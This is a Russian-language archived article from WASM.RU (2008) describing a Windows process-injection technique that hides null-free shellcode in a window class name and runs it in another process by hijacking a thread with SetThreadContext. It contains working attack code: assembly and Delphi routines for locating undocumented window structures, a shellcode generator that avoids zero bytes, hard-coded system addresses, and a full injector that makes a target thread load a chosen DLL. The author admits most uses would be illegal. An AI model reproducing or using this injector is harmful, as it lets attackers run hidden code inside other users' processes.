Инжект: лезем через окно

Дата публикации 10 апр 2008 | Редактировалось 6 июл 2017

Инжект: лезем через окно — Архив WASM.RU

В статье для демонстрационных целей используется Паскаль! Женщинам, детям и людям с неустойчивой психикой читать воспрещено!

Одним из самых соблазнительных мест для преступника, пытающегося пробраться в чужую квартиру, безусловно, является окно. Да и вообще, для русских людей характерно приходить к чему-то новому не «через дверь», а «через форточку», ибо так нам завещал сам царь Петр. Вот и мы, подражая великому правителю, попытаемся проникнуть в адресное пространство чужого процесса через… окно. Применение данному методу, в большинстве случаев, наверняка будет не совсем законным, но я не ставлю перед собой цель научить толпы кулхацкеров проникать незамеченными туда, куда их не просят. Я лишь хочу раскрыть технологию, лежащую на поверхности с незапамятных времен, но, почему-то, до сих пор, ни кем не замеченную. Так сказать, хочу подтолкнуть истинных исследователей зарыться еще глубже в недра замечательной операционной системы под названием Windows. Посему, ответственность за применение материала, изложенного в этой статье, я возлагаю на плечи тех, кто будет ее применять…

Если проследить за работой всем известной функции GetWindow(), то можно заметить, что для получения результата она не обращается к ядру, а берет данные прямо из адресного пространства текущего процесса. Это наталкивает на мысль, что каждый GUI-процесс имеет в себе копию таблиц, содержащих информацию об окнах. Действительно, на юзермодные адреса любого процесса, использующего user32.dll, система отображает ядерную область памяти, доступную только для чтения и имеющую атрибут супервизора. В этой области и хранятся все структуры, описывающие окна, классы и т. д. Значит, создав окно, к примеру с надписью «My Cool Window», эта самая строка сразу окажется отображенной в АП всех GUI-процессов. А если вместо строки подставить хитро составленный исполняемый код? Вот вам и инжект. После этого останется лишь найти наш код в чужом процессе и передать ему управление.

Тут, правда, есть несколько нюансов, заслуживающих внимания. Дело в том, что система хранит надписи окон в кодировке Unicode, не зависимо от того, в какой кодировке надпись задавалась изначально. Поэтому после создания окна наш исполняемый код разбавится нулями и превратится в кашу. Короче говоря, для хранения программного кода текст в окне нам не подойдет. А вот класс окна – в самый раз! Он хранится в ANSI-кодировке, и система сохраняет его именно таким, каким мы его зададим, т.е. готовым к исполнению. Второй нюанс это то, что в глазах системы класс окна должен быть оканчивающейся нулевым байтом строкой. Поэтому наш код не должен содержать в себе нулей. Составление такого кода достаточно сложная инженерная задача, сродная подготовке эксплойта, поэтому мы не будем усложнять себе жизнь и напишем лишь маленький переходник, подгружающий заранее подготовленную динамическую библиотеку, которая и будет выполнять всю полезную нагрузку, а в нашем случае просто выдавать сообщение. Итак, начнем…

А начнем мы с того, что попробуем найти указатель на структуру какого-либо окна в своем собственном процессе. Структура эта зовется tagWND и, к сожалению, нигде не документирована. Тут нам стоит отдать должное неизвестным героям, в свое время «позаимствовавшим» исходники Windows 2000 у корпорации Microsoft. Так же не забудем поблагодарить Ильфака Гильфанова за мощнейший дизассемблер и Oleh Yuschuk за лучший отладчик режима пользователя. Собственно говоря, эти вещи, да еще пивная открывалка – все, чем я пользовался во время своих исследований.

Для того чтобы научиться находить этот самый указатель, нам необходимо понять, как его получает сама система. Для этого обратимся к коду уже упомянутой мной выше функции GetWindow(). В Windows XP SP2 она выглядит следующим образом:

Код (Text):
  1.  
  2. mov     edi, edi
  3. push    ebp
  4. mov     ebp, esp
  5. mov     ecx, [ebp+hWnd]
  6. call    @ValidateHwnd@4 ; ValidateHwnd(x)
  7. test    eax, eax
  8. jz      loc_77D3C331
  9. push    [ebp+uCmd]
  10. push    eax
  11. call    __GetWindow@8   ; _GetWindow(x,x)
  12. test    eax, eax
  13. jz      short loc_77D3C331
  14. mov     eax, [eax]
  15. loc_77D3C2BC:
  16. pop     ebp
  17. retn    8

Если пройтись по ней отладчиком, то видно, что hWnd окна, передаваемый в функцию ValidateHwnd() через регистр ecx, чудесным образом превращается в некий указатель, с которым и работает внутренняя _GetWindow(). Как не трудно догадаться, это и есть указатель на структуру окна, он называется pWnd. Чтобы не затягивать повествование и не загромождать статью лишними листингами, сразу перейду непосредственно к алгоритму работы функции ValidateHwnd():

  • Как я уже говорил, область памяти, хранящая оконные структуры, на самом деле расположена в ядре, а на юзермодное пространство лишь спроецирована. Следовательно, все указатели в этих структурах ядерные и нам необходимо найти дельту (разницу) между соответствующими kernel и user адресами. Она лежит в PEB текущего потока по смещению 6E8h – смещение это не изменилось со времен win_2k вплоть до win_vista. Хочу заметить, что в разных процессах значения дельт отличаются.
  • Существует юзермодная структура, называемая SHAREDINFO, в ней хранятся важнейшие указатели, необходимые для работы оконной подсистемы Win32. В том числе и указатель на массив элементов HANDLEENTRY, каждый элемент (структура) которого, кроме первого, неиспользуемого, описывает соответствующий GUI-объект в ядре (Window, Pen, DC и т. д.) и хранит указатель (kernel-адрес) на него. Это как раз то, что нам нужно! Жаль только, что адрес SHAREDINFO разнится от сервиспака к сервиспаку, а гарантированного способа найти его динамически я не нашел. Поэтому остается только хранить все возможные адреса и использовать нужный в зависимости от версии системы:

    Код (Text):
    1.  
    2.         win_2k sp4  -   77E69088h
    3.         win_xp sp1  -   77D8C080h
    4.         win_xp sp2  -   77D90080h
    5.         win_vista no sp -   GetModuleHandle('user32.dll') + 6A6C0h

    Ниже я приведу описание этих двух ключевых структур:

    Код (Text):
    1.  
    2.         PSHAREDINFO = ^SHAREDINFO;
    3.         SHAREDINFO = packed record
    4.         psi: pointer;               //Указатель на структуру SERVERINFO
    5.         aheList: PHANDLEENTRY_ARRAY;//Указатель на таблицу хэндлов
    6.         pDispInfo: pointer;         //Указатель на глобальную DISPLAYINFO
    7.         ulSharedDelta: DWORD;       // <= тоже дельта, но не та, которая нам нужна
    8.         end;

    Код (Text):
    1.  
    2.         PHANDLEENTRY = ^HANDLEENTRY;
    3.           HANDLEENTRY = packed record
    4.             pHead: pointer;           //Указатель на объект (pWnd в случае окна)
    5.             pOwner: pointer;          //Указатель на родительский объект (ppi или pti)
    6.             bType: BYTE;              //Тип хэндла (1 == TYPE_WINDOW)
    7.             bFlags: BYTE;             //Флаги
    8.             wUniq: WORD;              //uniqueness count
    9.             end;
    10.         PHANDLEENTRY_ARRAY = ^HANDLEENTRY_ARRAY;
    11.           HANDLEENTRY_ARRAY = array[0..0] of HANDLEENTRY;
  • После того, как будет получена дельта и указатель на SHAREDINFO (в реале он называется gSharedInfo), нам уже можно будет получить pWnd по hWnd. Для этого необходимо разобраться со структурой хэндла. Она проста до безобразия – в его младшем слове хранится индекс элемента HANDLEENTRY в массиве HANDLEENTRY_ARRAY. Назначение старшего слова не вполне ясно, все что известно – это то, что оно должно совпадать со значением поля wUniq из соответствующего хэндлу элемента HANDLEENTRY.

Итак, мы получаем индекс элемента в таблице, убеждаемся, что это окно, сравнивая поле bType с единицей, далее сравниваем старшее слово хэндла с полем wUniq и, в случае их равенства, от значения поля pHead, которое является kernel-указателем на tagWND, отнимаем найденую ранее дельту, чтобы получить юзермодный указатель. Все, результат готов!

Теперь напишем код нашей собственной функции ValidateHwnd():

Код (Text):
  1.  
  2. const
  3. TYPE_WINDOW = 1;
  4. HMINDEXBITS = $0000FFFF;
  5. HMUNIQSHIFT = 16;
  6. HMUNIQBITS  = $FFFF0000;

Код (Text):
  1.  
  2. function IndexFromHandle(hWnd: DWORD): integer;
  3. begin
  4. result := hWnd and HMINDEXBITS;
  5. end;

Код (Text):
  1.  
  2. function UniqFromHandle(hWnd: DWORD): WORD;
  3. begin
  4. result := (hWnd shr HMUNIQSHIFT) and HMUNIQBITS;
  5. end;

Код (Text):
  1.  
  2. function ValidateHwnd(hWnd: DWORD): pointer;
  3. var
  4.   phe: PHANDLEENTRY;
  5.   dwDelta: DWORD;
  6. begin
  7. result := nil;
  8. asm
  9.   mov   eax, fs:[$18]             //  Эти поля в TEB ни где не описаны,
  10.   lea   eax, [eax + $6CC]         //  но смещения не изменились со
  11.   mov   eax, dword [eax + $1C]    //  времен win_2k вплоть до win_vista
  12.   mov   dwDelta, eax
  13. end;
  14. phe := @gSharedInfo.aheList[IndexFromHandle(hWnd)];
  15. if phe.bType = TYPE_WINDOW then
  16.   if phe.wUniq = UniqFromHandle(hWnd) then
  17.     result := pointer(DWORD(phe.pHead) - dwDelta);
  18. end;

Научившись добывать указатель на tagWND, стоило бы разобраться с самой структурой, но мы этого делать не будем, т.к. она достаточно громоздка и абсолютное большинство ее полей нас вообще не интересует. Нужно знать лишь то, что по смещению 10h от ее начала лежит указатель на саму себя в ядре – поле tagWND.head.pSelf (мы ведь помним, что ValidateHwnd() возвращает user-адрес?), а по смещению 64h находится kernel-указатель на структуру класса, к которому принадлежит окно (tagWND.pcls) – tagCLS. Чтобы получить user-указатель на tagCLS, нужно воспользоваться следующей формулой, которая универсальна для всех подобных структур, лежащих в ядре и имеющих ссылку на себя:

Код (Text):
  1.  
  2. field_useraddr := struct.field_kerneladdr – struct.pSelf + struct

Здесь struct – это user-адрес имеющейся структуры, struct.pSelf – kernel-указатель на себя, а struct.field_kerneladdr – kernel-адрес, который нужно преобразовать. Получив интересующий нас user-адрес pCls, необходимо выудить из структуры класса указатель на ANSI-строку с его именем. Он лежит по смещению 54h от начала и называется lpszClientAnsiMenuName. Естественно, адрес, содержащийся в нем – ядерный. Итак, вооружившись всеми этими, сумбурно изложенными мной данными, напишем функцию, возвращающую указатель на имя класса по pWnd:

Код (Text):
  1.  
  2. function GetPClassName(pWnd: pointer): pointer; stdcall;
  3. asm
  4.   pushad
  5.   mov   eax, pWnd
  6.   mov   edx, dword [eax + $10] // tagWND.head.pSelf (kernel addr)
  7.   mov   ecx, dword [eax + $64] // tagWND.pcls (kernel addr)
  8.   sub   ecx, edx
  9.   add   ecx, eax               // tagWND.pcls (user addr)
  10.   mov   esi, dword [ecx + $54] // tagWND.pcls.lpszClientAnsiMenuName (kernel addr)
  11.   sub   esi, edx
  12.   add   esi, eax               // tagWND.pcls.lpszClientAnsiMenuName (user addr)
  13.   mov   result, esi
  14.   popad
  15. end;
Вот, треть дела уже сделана! Теперь хорошо бы разобраться с тем, как искать нужные нам адреса в чужом процессе. Тут на самом деле нет ни чего сложного и отличного от уже изложенного материала, разве что объемы кода возрастут из-за необходимости чтения «чужой» памяти. Посему, не имея ни малейшего желания лишний раз загромождать статью, я опишу только ключевые моменты. В крайнем случае, читатель всегда может обратиться к приложенным к статье исходникам – не зря же я их писал…
  • Адрес TEB чужого потока можно узнать с помощью экспорта ntdll.dll – функции ZwQueryInformationThread, вызвав ее с классом информации ThreadBasicInformation. Указанный буфер, в случае успеха, заполнится структурой типа THREAD_BASIC_INFORMATION, которая имеет в себе элемент TebBaseAddress – как раз то, что нам нужно. Впрочем, замечательный труд Гарри Нэббета о Native API расскажет обо всем этом намного лучше меня.
  • В Windows Vista системные библиотеки в различных процессах могут грузиться по разным адресам, поэтому чтобы найти gSharedInfo нам, сначала, необходимо получить адрес, по которому загружена user32.dll, а потом прибавить к найденному значению 6A6C0h. Это число валидно лишь для Vista SP0, для последующих сервиспаков оно, скорее всего, будет другим.

Разобравшись с поиском указателей, пора приступать к подготовке шеллкода. Для начала определимся с тем, каким образом ему будет передаваться управление. Я не стал сильно мудрствовать и решил использовать избитый всеми SetThreadContext(). Это документированный и достаточно надежный способ, хотя и палится он всеми, кому не лень, собственно как и все остальные паблик-методы. Наш код, не содержащий нулей, после того, как закончит свои дела, должен будет вернуть управление потоку-жертве в то место, где выполнение последнего было нами прервано, естественно сохранив значения всех регистров. Учитывая все вышесказанное и имея ввиду то, что мы условились внедрять лишь маленький переходник, подгружающий заранее подготовленную DLL, становится возможным сделать примерный набросок нашего шеллкода:

Код (Text):
  1.  
  2. pushad
  3. mov eax, <addr_of_str_with_dll_path>
  4. push    eax
  5. mov eax, <addr_of_loadlibrary>
  6. call    eax
  7. popad
  8. push    eax
  9. mov eax, <ret_addr>
  10. xchg    [esp], eax
  11. ret

И тут мы упираемся в подводный камень – каждое значение, заносимое нами в регистр eax командой mov, может и, скорее всего, будет содержать в себе нули. Здесь стоит откупорить еще бутылочку пивасика и включить воображение: нам необходимо написать генератор кода, использующий универсальный способ замены команды mov, да еще и такой, чтобы налету отсечь все нули из числа. Немного пораскинув мозгами, в голову приходит неплохой вариант. Надо заметить, что изначально мне в голову пришел совсем не тот вариант, который стоило бы публиковать, но мой друг Хакер вовремя наставил на путь истинный, за что ему «респект и уважуха». Нам нужно найти маску, при xor’е с которой исходное число давало бы DWORD, не содержащий нулей. Такая маска находится по элементарному алгоритму: к исходному числу («N») прибавляем 01010101h, получая «X», проверяем каждый байт результата – если он равен нулю или FFh, то прибавляем к нему 2. Далее высчитываем «Y» - Y = X xor N. Все. Допустим, нам нужно поместить в eax число 0098BCC8h. Вот так может выглядеть код, решающий эту проблему:

Код (Text):
  1.  
  2. mov eax, 0199BDC9h // X
  3. xor eax, 01010101h // Y
  4.                 // в eax получится 0098BCC8h
А теперь напишем функцию, генерирующую такой код динамически:

Код (Text):
  1.  
  2. function GenCodeToPutDWORD(dwDWORD: DWORD; pCode: pointer): pointer; stdcall;
  3. asm
  4.   mov   edx, dwDWORD
  5.   lea   eax, [edx + $01010101]
  6.   mov   ecx, 4
  7. @@1:
  8.   cmp   al, $FF
  9.   je    @@2
  10.   test  al, al
  11.   jne   @@3
  12. @@2:
  13.   add   al, 2
  14. @@3:
  15.   ror   eax, 8
  16.   loop  @@1
  17.   xor   edx, eax
  18.   mov   ecx, pCode
  19.   mov   byte[ecx], $B8
  20.   mov   byte[ecx + 5], $35
  21.   mov   [ecx + 1], eax
  22.   mov   [ecx + 6], edx
  23.   add   ecx, 10
  24.   mov   result, ecx
  25. end;

Ну, вот мы и во всеоружии! Теперь приступим непосредственно к тому, ради чего все это затеяли – к внедрению кода. Порядок действий будет такой: первым делом создадим окно, класс которого будет являться полным путем к подгружаемой динамической библиотеке. Тут есть маленькое «но» - для задания пути в кодировке UNICODE класс окна не подойдет, но как нельзя лучше сгодится надпись на нем. В структуре tagWND указатель на надпись лежит по смещению 88h. Дальше найдем адрес функции LoadLibraryA() в чужом процессе (в win_vista он может отличаться от адреса в нашем АП). Сгенерируем первую часть шеллкода по приведенному выше шаблону, внеся в него предварительно найденный указатель на путь к внедряемой DLL. Следующим шагом будет приостановка целевого потока и получение его контекста. Генерируем вторую часть кода, которая возвратит управление по только что полученному eip и создаем окно с классом, содержащим в себе шеллкод. Ищем указатель на класс этого окна и устанавливаем новое значение eip для потока. И все! Вот какой код получился у меня (да не ужаснутся хакеры старой школы от использования Delphi с VCL – для простоты и наглядности такой подход в самый раз):

Код (Text):
  1.  
  2. procedure TfrmMain.cmdClick(Sender: TObject);
  3. var
  4.   wc: WNDCLASSEX;
  5.   hWnd, hWndLibPath, ThreadID, hThread: DWORD;
  6.   Context: _CONTEXT;
  7.   CodeArr: array[0..255] of byte;
  8.   pClass, pCode: pointer;
  9. begin
  10. ZeroMemory(@CodeArr, 256);
  11. if txtTID.Text <> '' then
  12.   begin
  13.   ThreadID := StrToInt(txtTID.Text);
  14.   ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  15.   wc.cbSize := SizeOf(WNDCLASSEX);
  16.   wc.lpszClassName := PChar(txtLibPath.Text);
  17.   wc.lpfnWndProc := @EmptyWndProc;
  18.   RegisterClassEx(wc);
  19.   hWndLibPath := CreateWindowEx(0, PChar(txtLibPath.Text), nil, WS_OVERLAPPEDWINDOW,
  20.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
  21.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
  22.                  GetModuleHandle(nil), nil);
  23.   pClass := GetPClassNameEx(ValidateHwndEx(hWndLibPath, ThreadID), ThreadID);
  24.  
  25.   pCode := @CodeArr;
  26.   BYTE(pCode^) := $60;   // pushad
  27.   Inc(DWORD(pCode));
  28.   pCode := GenCodeToPutDWORD(DWORD(pClass), pCode);
  29.   BYTE(pCode^) := $50;   // push  eax
  30.   Inc(DWORD(pCode));
  31.   pCode := GenCodeToPutDWORD(DWORD(GetProcAddressEx('kernel32.dll', 'LoadLibraryA', ProcessIdFromThreadId(ThreadID))), pCode);
  32.   WORD(pCode^) := $D0FF; // call  eax
  33.   Inc(DWORD(pCode), 2);
  34.   BYTE(pCode^) := $61;   // popad
  35.   Inc(DWORD(pCode));
  36.   BYTE(pCode^) := $50;   // push  eax
  37.   Inc(DWORD(pCode));
  38.  
  39.   hThread := OpenThread(THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, ThreadID);
  40.   if hThread <> 0 then
  41.     begin
  42.     SuspendThread(hThread);
  43.     Context.ContextFlags := CONTEXT_FULL;
  44.     GetThreadContext(hThread, Context);
  45.  
  46.     pCode := GenCodeToPutDWORD(Context.Eip, pCode);
  47.     BYTE(pCode^) := $87;   // |
  48.     Inc(DWORD(pCode));     // |
  49.     WORD(pCode^) := $2404; // | xchg    eax, [esp]
  50.     Inc(DWORD(pCode), 2);  // |
  51.     BYTE(pCode^) := $C3;   // ret
  52.  
  53.     ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  54.     wc.cbSize := SizeOf(WNDCLASSEX);
  55.     wc.lpszClassName := @CodeArr[0];
  56.     wc.lpfnWndProc := @EmptyWndProc;
  57.     RegisterClassEx(wc);
  58.     hWnd := CreateWindowEx(0, @CodeArr, nil, WS_OVERLAPPEDWINDOW,
  59.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
  60.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
  61.                  GetModuleHandle(nil), nil);
  62.     ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  63.                  
  64.     Context.Eip := DWORD(GetPClassNameEx(ValidateHwndEx(hWnd, ThreadID), ThreadID));
  65.     SetThreadContext(hThread, Context);
  66.     ResumeThread(hThread);
  67.     CloseHandle(hThread);
  68.     Sleep(1000);
  69.     PostMessage(hWnd, WM_CLOSE, 0, 0);
  70.     end;
  71.   PostMessage(hWndLibPath, WM_CLOSE, 0, 0);
  72.   end;
  73. end;

В листинге я не стал приводить содержимое таких функций, как GetProcAddressEx(), ProcessIdFromThreadId() и т.д. – их назначение понятно из названия, а код тривиален. Любителей копипаста отправляю к исходникам, приложенным к статье.

Ну вот, пожалуй, и все, что я хотел поведать. Надеюсь, информация, изложенная мной в данной статье, хоть как-то окажется полезной конечному читателю…

Файлы к статье. © Twister

Вложения:


0 1.598
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532